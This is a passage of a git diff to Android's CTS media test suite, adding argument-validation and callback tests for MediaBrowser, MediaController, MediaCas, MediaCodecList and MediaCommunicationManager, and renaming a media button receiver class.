+        } catch (IllegalArgumentException e) {
+            // Expected
+        }
+    }
+
     public void testSubscribeWithOptions() {
         createMediaBrowser(TEST_BROWSER_SERVICE);
         connectMediaBrowserService();
@@ -319,6 +387,34 @@
         assertNull(mSubscriptionCallback.mLastParentId);
     }
 
+    public void testUnsubscribeWithIllegalArguments() {
+        createMediaBrowser(TEST_BROWSER_SERVICE);
+
+        try {
+            final String nullMediaId = null;
+            mMediaBrowser.unsubscribe(nullMediaId);
+            fail();
+        } catch (IllegalArgumentException e) {
+            // Expected
+        }
+
+        try {
+            final String emptyMediaId = "";
+            mMediaBrowser.unsubscribe(emptyMediaId);
+            fail();
+        } catch (IllegalArgumentException e) {
+            // Expected
+        }
+
+        try {
+            final MediaBrowser.SubscriptionCallback nullCallback = null;
+            mMediaBrowser.unsubscribe(StubMediaBrowserService.MEDIA_ID_ROOT, nullCallback);
+            fail();
+        } catch (IllegalArgumentException e) {
+            // Expected
+        }
+    }
+
     public void testUnsubscribeForMultipleSubscriptions() {
         createMediaBrowser(TEST_BROWSER_SERVICE);
         connectMediaBrowserService();
@@ -440,6 +536,53 @@
                 mItemCallback.mLastMediaItem.getMediaId());
     }
 
+    public void testGetItemThrowsIAE() {
+        resetCallbacks();
+        createMediaBrowser(TEST_BROWSER_SERVICE);
+
+        try {
+            // Calling getItem() with empty mediaId will throw IAE.
+            mMediaBrowser.getItem("",  mItemCallback);
+            fail();
+        } catch (IllegalArgumentException e) {
+            // Expected
+        }
+
+        try {
+            // Calling getItem() with null mediaId will throw IAE.
+            mMediaBrowser.getItem(null,  mItemCallback);
+            fail();
+        } catch (IllegalArgumentException e) {
+            // Expected
+        }
+
+        try {
+            // Calling getItem() with null itemCallback will throw IAE.
+            mMediaBrowser.getItem("media_id",  null);
+            fail();
+        } catch (IllegalArgumentException e) {
+            // Expected
+        }
+    }
+
+    public void testGetItemWhileNotConnected() {
+        resetCallbacks();
+        createMediaBrowser(TEST_BROWSER_SERVICE);
+
+        final String mediaId = "test_media_id";
+        mMediaBrowser.getItem(mediaId, mItemCallback);
+
+        // Calling getItem while not connected will invoke ItemCallback.onError().
+        new PollingCheck(TIME_OUT_MS) {
+            @Override
+            protected boolean check() {
+                return mItemCallback.mLastErrorId != null;
+            }
+        }.run();
+
+        assertEquals(mItemCallback.mLastErrorId, mediaId);
+    }
+
     public void testGetItemFailure() {
         resetCallbacks();
         createMediaBrowser(TEST_BROWSER_SERVICE);
@@ -566,7 +709,7 @@
             mLastErrorId = id;
             mLastOptions = options;
         }
-}
+    }
 
     private static class StubItemCallback extends MediaBrowser.ItemCallback {
         private volatile MediaBrowser.MediaItem mLastMediaItem;
diff --git a/tests/tests/media/src/android/media/cts/MediaButtonBroadcastReceiver.java b/tests/tests/media/src/android/media/cts/MediaButtonBroadcastReceiver.java
new file mode 100644
index 0000000..1d320d8
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaButtonBroadcastReceiver.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.view.KeyEvent;
+
+import java.util.function.Consumer;
+
+public class MediaButtonBroadcastReceiver extends BroadcastReceiver {
+    public static Consumer<KeyEvent> mCallback;
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        assertEquals(Intent.ACTION_MEDIA_BUTTON, intent.getAction());
+        KeyEvent keyEvent = intent.getParcelableExtra(Intent.EXTRA_KEY_EVENT);
+        synchronized (MediaButtonBroadcastReceiver.class) {
+            if (mCallback != null) {
+                mCallback.accept(keyEvent);
+            }
+        }
+    }
+
+    public synchronized static void setCallback(Consumer<KeyEvent> callback) {
+        synchronized (MediaButtonBroadcastReceiver.class) {
+            mCallback = callback;
+        }
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaButtonReceiver.java b/tests/tests/media/src/android/media/cts/MediaButtonReceiver.java
deleted file mode 100644
index 30e8150..0000000
--- a/tests/tests/media/src/android/media/cts/MediaButtonReceiver.java
+++ /dev/null
@@ -1,47 +0,0 @@
-/*
- * Copyright 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static org.junit.Assert.assertEquals;
-
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.view.KeyEvent;
-
-import java.util.function.Consumer;
-
-public class MediaButtonReceiver extends BroadcastReceiver {
-    public static Consumer<KeyEvent> mCallback;
-
-    @Override
-    public void onReceive(Context context, Intent intent) {
-        assertEquals(Intent.ACTION_MEDIA_BUTTON, intent.getAction());
-        KeyEvent keyEvent = intent.getParcelableExtra(Intent.EXTRA_KEY_EVENT);
-        synchronized (MediaButtonReceiver.class) {
-            if (mCallback != null) {
-                mCallback.accept(keyEvent);
-            }
-        }
-    }
-
-    public synchronized static void setCallback(Consumer<KeyEvent> callback) {
-        synchronized (MediaButtonReceiver.class) {
-            mCallback = callback;
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaButtonReceiverService.java b/tests/tests/media/src/android/media/cts/MediaButtonReceiverService.java
new file mode 100644
index 0000000..def8cee
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaButtonReceiverService.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.app.IntentService;
+import android.content.Intent;
+import android.view.KeyEvent;
+
+import java.util.function.Consumer;
+
+public class MediaButtonReceiverService extends IntentService {
+    private static final String TAG = "MediaButtonReceiverService";
+    public static Consumer<KeyEvent> mCallback;
+
+    public MediaButtonReceiverService() {
+        super(TAG);
+    }
+
+    public synchronized static void setCallback(Consumer<KeyEvent> callback) {
+        synchronized (MediaButtonReceiverService.class) {
+            mCallback = callback;
+        }
+    }
+
+    @Override
+    protected void onHandleIntent(Intent intent) {
+        assertEquals(Intent.ACTION_MEDIA_BUTTON, intent.getAction());
+        KeyEvent keyEvent = intent.getParcelableExtra(Intent.EXTRA_KEY_EVENT);
+        synchronized (MediaButtonReceiverService.class) {
+            if (mCallback != null) {
+                mCallback.accept(keyEvent);
+            }
+        }
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaCasTest.java b/tests/tests/media/src/android/media/cts/MediaCasTest.java
index a3b9176..7f1c1c7 100644
--- a/tests/tests/media/src/android/media/cts/MediaCasTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCasTest.java
@@ -59,6 +59,7 @@
     private static final int sClearKeySystemId = 0xF6D8;
     private static final int API_LEVEL_BEFORE_CAS_SESSION = 28;
     private boolean mIsAtLeastR = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
+    private boolean mIsAtLeastS = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S);
 
     // ClearKey CAS/Descrambler test vectors
     private static final String sProvisionStr =
@@ -193,9 +194,17 @@
                 if (mediaCas == null) {
                     fail("Enumerated " + descriptors[i] + " but cannot instantiate MediaCas.");
                 }
-                descrambler = new MediaDescrambler(CA_system_id);
-                if (descrambler == null) {
-                    fail("Enumerated " + descriptors[i] + " but cannot instantiate MediaDescrambler.");
+                try {
+                    descrambler = new MediaDescrambler(CA_system_id);
+                } catch (UnsupportedCasException e) {
+                    // The descrambler can be supported through Tuner since R.
+                    if (mIsAtLeastR) {
+                        Log.d(TAG, "Enumerated "
+                            + descriptors[i] + ", it doesn't support MediaDescrambler.");
+                    } else {
+                        fail("Enumerated " + descriptors[i]
+                            + " but cannot instantiate MediaDescrambler.");
+                    }
                 }
 
                 // Should always accept a listener (even if the plugin doesn't use it)
@@ -568,6 +577,32 @@
         }
     }
 
+    /**
+     * Test Set Event Listener in MediaCas Constructor.
+     */
+    public void testConstructWithEventListener() throws Exception {
+        MediaCas mediaCas = null;
+        if (!MediaUtils.check(mIsAtLeastS, "test needs Android 12")) return;
+
+        try {
+            TestEventListener listener = new TestEventListener();
+            HandlerThread thread = new HandlerThread("EventListenerHandlerThread");
+            thread.start();
+            Handler handler = new Handler(thread.getLooper());
+
+            mediaCas = new MediaCas(getContext(), sClearKeySystemId, null,
+                android.media.tv.TvInputService.PRIORITY_HINT_USE_CASE_TYPE_LIVE, handler,
+                listener);
+
+            thread.interrupt();
+
+        } finally {
+            if (mediaCas != null) {
+                mediaCas.close();
+            }
+        }
+    }
+
     private class TestEventListener implements MediaCas.EventListener {
         private final CountDownLatch mLatch = new CountDownLatch(1);
         private final MediaCas mMediaCas;
@@ -577,6 +612,14 @@
         private final byte[] mData;
         private boolean mIsIdential;
 
+        TestEventListener() {
+            mMediaCas = null;
+            mEvent = 0;
+            mArg = 0;
+            mData = null;
+            mSession = null;
+        }
+
         TestEventListener(MediaCas mediaCas, int event, int arg, byte[] data) {
             mMediaCas = mediaCas;
             mEvent = event;
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecListTest.java b/tests/tests/media/src/android/media/cts/MediaCodecListTest.java
index 8d7d611..6d78ddb 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecListTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecListTest.java
@@ -19,6 +19,7 @@
 import static android.media.MediaCodecInfo.CodecCapabilities.FEATURE_SecurePlayback;
 import static android.media.MediaCodecInfo.CodecCapabilities.FEATURE_TunneledPlayback;
 
+import com.android.compatibility.common.util.ApiLevelUtil;
 import com.android.compatibility.common.util.PropertyUtil;
 
 import android.content.pm.PackageManager;
@@ -30,11 +31,13 @@
 import android.media.MediaCodecInfo.VideoCapabilities;
 import android.media.MediaCodecList;
 import android.media.MediaFormat;
+import android.os.Build;
 import android.platform.test.annotations.Presubmit;
 import android.platform.test.annotations.RequiresDevice;
 import android.test.AndroidTestCase;
 import android.util.Log;
 import android.util.Pair;
+import android.util.Range;
 import android.util.Size;
 
 import androidx.test.filters.SmallTest;
@@ -65,6 +68,8 @@
     private final MediaCodecInfo[] mAllInfos =
             mAllCodecs.getCodecInfos();
 
+    private static boolean sIsAtLeastS = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S);
+
     class CodecType {
         CodecType(String type, boolean isEncoder, MediaFormat sampleFormat) {
             mMimeTypeName = type;
@@ -491,6 +496,59 @@
         }
     }
 
+    public void testInputChannelLimits() throws IOException {
+        // TODO: valid S or later, but the Build.* constants aren't properly defined yet
+        for (MediaCodecInfo info : mAllInfos) {
+            boolean isEncoder = info.isEncoder();
+            if (!isEncoder) {
+                continue;
+            }
+            for (String mime: info.getSupportedTypes()) {
+                CodecCapabilities caps = info.getCapabilitiesForType(mime);
+                boolean isVideo = (caps.getVideoCapabilities() != null);
+
+                if (isVideo) {
+                    continue;
+                }
+                AudioCapabilities acaps = caps.getAudioCapabilities();
+
+                int countMin = acaps.getMinInputChannelCount();
+                int countMax = acaps.getMaxInputChannelCount();
+                Range<Integer>[] countRanges = acaps.getInputChannelCountRanges();
+
+                assertNotNull("getInputChannelCountRanges() null, codec=" + info.getName(),
+                                countRanges);
+                assertTrue("getInputChannelCountRanges() empty range codec=" + info.getName(),
+                                countRanges.length > 0);
+
+                assertEquals("first range lower != min mismatch codec=" + info.getName(),
+                                countMin, countRanges[0].getLower().intValue());
+                assertEquals("last range upper != max mismatch codec=" + info.getName(),
+                                countMax, countRanges[countRanges.length-1].getUpper().intValue());
+
+                int foundLow = Integer.MAX_VALUE;
+                int foundHigh = Integer.MIN_VALUE;
+                for (Range<Integer> oneRange: countRanges) {
+                    int upper = oneRange.getUpper().intValue();
+                    if (foundHigh < upper) {
+                        foundHigh = upper;
+                    }
+                    int lower = oneRange.getLower().intValue();
+                    if (foundLow > lower) {
+                        foundLow = lower;
+                    }
+                    assertTrue(lower <= upper);
+                }
+                assertEquals("minimum count mismatch codec=" + info.getName(),
+                                countMin, foundLow);
+                assertEquals("maximum count mismatch codec=" + info.getName(),
+                                countMax, foundHigh);
+            }
+        }
+    }
+
+
+
     private void testCanonicalCodecIsNotAnAlias(String canonicalName) {
         // canonical name must point to a non-alias
         for (MediaCodecInfo canonical : mAllInfos) {
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecTest.java b/tests/tests/media/src/android/media/cts/MediaCodecTest.java
index ed1a9da..f99a5f3 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecTest.java
@@ -1653,25 +1653,22 @@
         public int mMaxH;
         public int mFps;
         public int mBitRate;
-    };
+    }
 
     public void testCryptoInfoPattern() {
         CryptoInfo info = new CryptoInfo();
         Pattern pattern = new Pattern(1 /*blocksToEncrypt*/, 2 /*blocksToSkip*/);
-        if (pattern.getEncryptBlocks() != 1) {
-            fail("Incorrect number of encrypt blocks in pattern");
-        }
-        if (pattern.getSkipBlocks() != 2) {
-            fail("Incorrect number of skip blocks in pattern");
-        }
+        assertEquals(1, pattern.getEncryptBlocks());
+        assertEquals(2, pattern.getSkipBlocks());
         pattern.set(3 /*blocksToEncrypt*/, 4 /*blocksToSkip*/);
-        if (pattern.getEncryptBlocks() != 3) {
-            fail("Incorrect number of encrypt blocks in pattern");
-        }
-        if (pattern.getSkipBlocks() != 4) {
-            fail("Incorrect number of skip blocks in pattern");
-        }
+        assertEquals(3, pattern.getEncryptBlocks());
+        assertEquals(4, pattern.getSkipBlocks());
         info.setPattern(pattern);
+        // Check that CryptoInfo does not leak access to the underlying pattern.
+        pattern.set(10, 10);
+        info.getPattern().set(10, 10);
+        assertSame(3, info.getPattern().getEncryptBlocks());
+        assertSame(4, info.getPattern().getSkipBlocks());
     }
 
     private static CodecInfo getAvcSupportedFormatInfo() {
@@ -2681,6 +2678,9 @@
                         AudioCapabilities acaps = caps.getAudioCapabilities();
                         int minSampleRate = acaps.getSupportedSampleRateRanges()[0].getLower();
                         int minChannelCount = 1;
+                        if (mIsAtLeastS) {
+                            minChannelCount = acaps.getMinInputChannelCount();
+                        }
                         int minBitrate = acaps.getBitrateRange().getLower();
                         format = MediaFormat.createAudioFormat(mime, minSampleRate, minChannelCount);
                         format.setInteger(MediaFormat.KEY_BIT_RATE, minBitrate);
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecTunneledPlayer.java b/tests/tests/media/src/android/media/cts/MediaCodecTunneledPlayer.java
index 411cd14..35dd818 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecTunneledPlayer.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecTunneledPlayer.java
@@ -503,4 +503,13 @@
         return (int)((positionUs + 500) / 1000);
     }
 
+    public void setVideoPeek(boolean enable) {
+        if (mVideoCodecStates == null || !(mState == STATE_IDLE || mState == STATE_PAUSED)) {
+            return;
+        }
+
+        for (CodecState state: mVideoCodecStates.values()) {
+            state.setVideoPeek(enable);
+        }
+    }
 }
diff --git a/tests/tests/media/src/android/media/cts/MediaCommunicationManagerTest.java b/tests/tests/media/src/android/media/cts/MediaCommunicationManagerTest.java
new file mode 100644
index 0000000..70f4f6c
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaCommunicationManagerTest.java
@@ -0,0 +1,123 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.media.MediaCommunicationManager;
+import android.media.MediaSession2;
+import android.media.Session2CommandGroup;
+import android.media.Session2Token;
+import android.os.Handler;
+import android.os.Process;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.CopyOnWriteArrayList;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executor;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Tests {@link android.media.MediaCommunicationManager}.
+ */
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+public class MediaCommunicationManagerTest {
+    private static final int TIMEOUT_MS = 3000;
+    private static final int WAIT_MS = 500;
+
+    private Context mContext;
+    private MediaCommunicationManager mManager;
+
+    @Before
+    public void setUp() {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mManager = mContext.getSystemService(MediaCommunicationManager.class);
+    }
+
+    @Test
+    public void testGetVersion() {
+        assertTrue(mManager.getVersion() > 0);
+    }
+
+    @Test
+    public void testGetSession2Tokens() throws Exception {
+        Executor executor = Executors.newSingleThreadExecutor();
+
+        ManagerSessionCallback managerCallback = new ManagerSessionCallback();
+        Session2Callback sessionCallback = new Session2Callback();
+        mManager.registerSessionCallback(executor, managerCallback);
+
+        try (MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setSessionCallback(executor, sessionCallback)
+                .build()) {
+            assertTrue(managerCallback.mCreatedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            assertTrue(sessionCallback.mOnConnectLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+            Session2Token currentToken = session.getToken();
+            assertTrue(managerCallback.mTokens.contains(currentToken));
+            assertTrue(mManager.getSession2Tokens().contains(currentToken));
+        }
+    }
+
+    private static class Session2Callback extends MediaSession2.SessionCallback {
+        final CountDownLatch mOnConnectLatch;
+
+        private Session2Callback() {
+            mOnConnectLatch = new CountDownLatch(1);
+        }
+
+        @Override
+        public Session2CommandGroup onConnect(MediaSession2 session,
+                MediaSession2.ControllerInfo controller) {
+            if (controller.getUid() == Process.SYSTEM_UID) {
+                // System server will try to connect here for monitor session.
+                mOnConnectLatch.countDown();
+            }
+            return new Session2CommandGroup.Builder().build();
+        }
+    }
+
+    private static class ManagerSessionCallback
+            implements MediaCommunicationManager.SessionCallback {
+        final CountDownLatch mCreatedLatch;
+        final List<Session2Token> mTokens = new CopyOnWriteArrayList<>();
+
+        private ManagerSessionCallback() {
+            mCreatedLatch = new CountDownLatch(1);
+        }
+
+        @Override
+        public void onSession2TokenCreated(Session2Token token) {
+            mCreatedLatch.countDown();
+            mTokens.add(token);
+        }
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaControllerTest.java b/tests/tests/media/src/android/media/cts/MediaControllerTest.java
index b71b04a..0fc6a5f 100644
--- a/tests/tests/media/src/android/media/cts/MediaControllerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaControllerTest.java
@@ -18,8 +18,9 @@
 import static android.media.cts.Utils.compareRemoteUserInfo;
 import static android.media.session.PlaybackState.STATE_PLAYING;
 
+import static org.junit.Assert.assertNotEquals;
+
 import android.content.Intent;
-import android.media.AudioAttributes;
 import android.media.AudioManager;
 import android.media.Rating;
 import android.media.VolumeProvider;
@@ -31,6 +32,7 @@
 import android.net.Uri;
 import android.os.Bundle;
 import android.os.Handler;
+import android.os.HandlerThread;
 import android.os.Looper;
 import android.os.Process;
 import android.os.ResultReceiver;
@@ -68,6 +70,15 @@
                 getContext().getPackageName(), Process.myPid(), Process.myUid());
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        if (mSession != null) {
+            mSession.release();
+            mSession = null;
+        }
+    }
+
     public void testGetPackageName() {
         assertEquals(getContext().getPackageName(), mController.getPackageName());
     }
@@ -121,12 +132,26 @@
         assertEquals(Rating.RATING_5_STARS, mController.getRatingType());
     }
 
-    public void testGetSessionToken() throws Exception {
+    public void testGetSessionToken() {
         assertEquals(mSession.getSessionToken(), mController.getSessionToken());
+    }
 
+    public void testGetSessionInfo() {
         Bundle sessionInfo = mController.getSessionInfo();
         assertNotNull(sessionInfo);
         assertEquals(EXTRAS_VALUE, sessionInfo.getString(EXTRAS_KEY));
+
+        Bundle cachedSessionInfo = mController.getSessionInfo();
+        assertEquals(EXTRAS_VALUE, cachedSessionInfo.getString(EXTRAS_KEY));
+    }
+
+    public void testGetSessionInfoReturnsAnEmptyBundleWhenNotSet() {
+        MediaSession session = new MediaSession(getContext(), "test_tag", /*sessionInfo=*/ null);
+        try {
+            assertTrue(session.getController().getSessionInfo().isEmpty());
+        } finally {
+            session.release();
+        }
     }
 
     public void testGetTag() {
@@ -149,6 +174,25 @@
         }
     }
 
+    public void testSendCommandWithIllegalArgumentsThrowsIAE() {
+        Bundle args = new Bundle();
+        ResultReceiver resultReceiver = new ResultReceiver(mHandler);
+
+        try {
+            mController.sendCommand(/*command=*/ null, args, resultReceiver);
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+
+        try {
+            mController.sendCommand(/*command=*/ "", args, resultReceiver);
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+    }
+
     public void testSetPlaybackSpeed() throws Exception {
         synchronized (mWaitLock) {
             mCallback.reset();
@@ -406,6 +450,193 @@
         }
     }
 
+    public void testRegisterCallbackWithNullThrowsIAE() {
+        try {
+            mController.registerCallback(/*handler=*/ null);
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+
+        try {
+            mController.registerCallback(/*handler=*/ null, mHandler);
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+    }
+
+    public void testRegisteringSameCallbackWithDifferentHandlerHasNoEffect() {
+        MediaController.Callback callback = new MediaController.Callback() {};
+        mController.registerCallback(callback, mHandler);
+
+        Handler initialHandler = mController.getHandlerForCallback(callback);
+        assertEquals(mHandler.getLooper(), initialHandler.getLooper());
+
+        // Create a separate handler with a new looper.
+        HandlerThread handlerThread = new HandlerThread("Test thread");
+        handlerThread.start();
+
+        // This call should not change the handler which is previously set.
+        mController.registerCallback(callback, new Handler(handlerThread.getLooper()));
+        Handler currentHandlerInController = mController.getHandlerForCallback(callback);
+
+        // The handler should not have been replaced.
+        assertEquals(initialHandler, currentHandlerInController);
+        assertNotEquals(handlerThread.getLooper(), currentHandlerInController.getLooper());
+
+        handlerThread.quitSafely();
+    }
+
+    public void testUnregisterCallbackWithNull() {
+        try {
+            mController.unregisterCallback(/*handler=*/ null);
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+    }
+
+    public void testUnregisterCallbackShouldRemoveCallback() {
+        MediaController.Callback callback = new MediaController.Callback() {};
+        mController.registerCallback(callback, mHandler);
+        assertEquals(mHandler.getLooper(), mController.getHandlerForCallback(callback).getLooper());
+
+        mController.unregisterCallback(callback);
+        assertNull(mController.getHandlerForCallback(callback));
+    }
+
+    public void testDispatchMediaButtonEventWithNullKeyEvent() {
+        try {
+            mController.dispatchMediaButtonEvent(/*keyEvent=*/ null);
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+    }
+
+    public void testDispatchMediaButtonEventWithNonMediaKeyEventReturnsFalse() {
+        KeyEvent keyEvent = new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_CAPS_LOCK);
+        assertFalse(mController.dispatchMediaButtonEvent(keyEvent));
+    }
+
+    public void testPlaybackInfoCreatorNewArray() {
+        final int arrayLength = 5;
+        MediaController.PlaybackInfo[] playbackInfoArrayInitializedWithNulls
+                = MediaController.PlaybackInfo.CREATOR.newArray(arrayLength);
+        assertNotNull(playbackInfoArrayInitializedWithNulls);
+        assertEquals(arrayLength, playbackInfoArrayInitializedWithNulls.length);
+        for (MediaController.PlaybackInfo playbackInfo : playbackInfoArrayInitializedWithNulls) {
+            assertNull(playbackInfo);
+        }
+    }
+
+    public void testTransportControlsPlayAndPrepareFromMediaIdWithIllegalArgumentsThrowsIAE() {
+        MediaController.TransportControls transportControls = mController.getTransportControls();
+
+        try {
+            transportControls.playFromMediaId(/*mediaId=*/ null, /*extras=*/ new Bundle());
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+
+        try {
+            transportControls.playFromMediaId(/*mediaId=*/ "", /*extras=*/ new Bundle());
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+
+        try {
+            transportControls.prepareFromMediaId(/*mediaId=*/ null, /*extras=*/ new Bundle());
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+
+        try {
+            transportControls.prepareFromMediaId(/*mediaId=*/ "", /*extras=*/ new Bundle());
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+    }
+
+    public void testTransportControlsPlayAndPrepareFromUriWithIllegalArgumentsThrowsIAE() {
+        MediaController.TransportControls transportControls = mController.getTransportControls();
+
+        try {
+            transportControls.playFromUri(/*uri=*/ null, /*extras=*/ new Bundle());
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+
+        try {
+            transportControls.playFromUri(Uri.EMPTY, /*extras=*/ new Bundle());
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+
+        try {
+            transportControls.prepareFromUri(/*uri=*/ null, /*extras=*/ new Bundle());
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+
+        try {
+            transportControls.prepareFromUri(Uri.EMPTY, /*extras=*/ new Bundle());
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+    }
+
+    public void testTransportControlsPlayAndPrepareFromSearchWithNullDoesNotCrash()
+            throws Exception {
+        MediaController.TransportControls transportControls = mController.getTransportControls();
+
+        synchronized (mWaitLock) {
+            // These calls should not crash. Null query is accepted on purpose.
+            transportControls.playFromSearch(/*query=*/ null, /*extras=*/ new Bundle());
+            mWaitLock.wait(TIME_OUT_MS);
+            assertTrue(mCallback.mOnPlayFromSearchCalled);
+
+            transportControls.prepareFromSearch(/*query=*/ null, /*extras=*/ new Bundle());
+            mWaitLock.wait(TIME_OUT_MS);
+            assertTrue(mCallback.mOnPrepareFromSearchCalled);
+        }
+    }
+
+    public void testSendCustomActionWithIllegalArgumentsThrowsIAE() {
+        MediaController.TransportControls transportControls = mController.getTransportControls();
+
+        try {
+            transportControls.sendCustomAction((PlaybackState.CustomAction) null,
+                    /*args=*/ new Bundle());
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+
+        try {
+            transportControls.sendCustomAction(/*action=*/ (String) null, /*args=*/ new Bundle());
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+
+        try {
+            transportControls.sendCustomAction(/*action=*/ "", /*args=*/ new Bundle());
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+    }
+
     private class MediaSessionCallback extends MediaSession.Callback {
         private long mSeekPosition;
         private long mQueueItemId;
diff --git a/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java b/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java
index e3c7f6b..497b999 100644
--- a/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java
@@ -21,6 +21,9 @@
 import android.media.MediaDrm.MediaDrmStateException;
 import android.media.MediaDrmException;
 import android.media.MediaFormat;
+import android.media.NotProvisionedException;
+import android.media.ResourceBusyException;
+import android.media.UnsupportedSchemeException;
 import android.media.cts.TestUtils.Monitor;
 import android.net.Uri;
 import android.os.Looper;
@@ -104,6 +107,8 @@
     private Looper mLooper;
     private MediaDrm mDrm = null;
     private final Object mLock = new Object();
+    private boolean mEventListenerCalled;
+    private boolean mExpirationUpdateReceived;
     private boolean mLostStateReceived;
 
     public MediaDrmClearkeyTest() {
@@ -279,9 +284,21 @@
                 synchronized(mLock) {
                     mDrm.setOnEventListener(new MediaDrm.OnEventListener() {
                             @Override
-                            public void onEvent(MediaDrm md, byte[] sessionId, int event,
+                            public void onEvent(MediaDrm md, byte[] sid, int event,
                                     int extra, byte[] data) {
-                                if (event == MediaDrm.EVENT_KEY_REQUIRED) {
+                                if (md != mDrm) {
+                                    Log.e(TAG, "onEvent callback: drm object mismatch");
+                                    return;
+                                } else if (!Arrays.equals(mSessionId, sid)) {
+                                    Log.e(TAG, "onEvent callback: sessionId mismatch: |" +
